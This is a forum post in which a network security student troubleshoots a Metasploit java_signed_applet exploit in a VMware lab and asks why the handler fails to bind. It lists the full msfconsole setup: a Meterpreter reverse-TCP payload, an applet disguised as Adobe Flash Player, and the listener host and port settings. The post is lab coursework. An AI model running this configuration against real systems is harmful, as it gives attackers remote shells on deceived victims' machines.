[Handler failed to bind]

The question: while trying to use a java signed applet exploit i get the following

[ * ] Exploit running as background job.
[ - ] Handler failed to bind 192.168.10.92:443
[ * ] started reverse handler on 0.0.0.0:443
[ - ] Exploit exception: The address is already in use (192.168.10.92:80)

Hey Hak5,

This is my first post and im new to hacking. i go to school for network security and my teacher is a d-bag for lack of better terms.The teacher isnt open to questions outside of the classroom and i had to miss class due to personal reasons he was avaliable to tell me through email that the assignments are still due so ive come here to ask for help.The following is my information on the question:

Im using vmware with windows 7 32-bit and backtrack 5 R2 installed, ive updated msf, and im using host on both machines.

the information i entered:

msf > exploit/multi/browser/java_signed_applet
msf exploit(java_signed_applet) > set payload windows/meterpreter/reverse_tcp 
msf exploit(java_signed_applet) > set appletname Adobe_Inc
msf exploit(java_signed_applet) > set certcn Adobe Flash Player
msf exploit(java_signed_applet) > set srvhost 192.168.10.92
msf exploit(java_signed_applet) > set srvport 80
msf exploit(java_signed_applet) > set uripath videoplaylist
msf exploit(java_signed_applet) > set lhost 192.168.10.92
msf exploit(java_signed_applet) > set lport 443 
msf exploit(java_signed_applet) > exploit

after i hit exploit i get the error previously stated. this is my first applet or any other type of commands used on backtrack so it shouldnt be in use, also the ip was originally 192.168.8.92 but i changed it to 10 to see if that would fix it.

sorry for the long read ^_^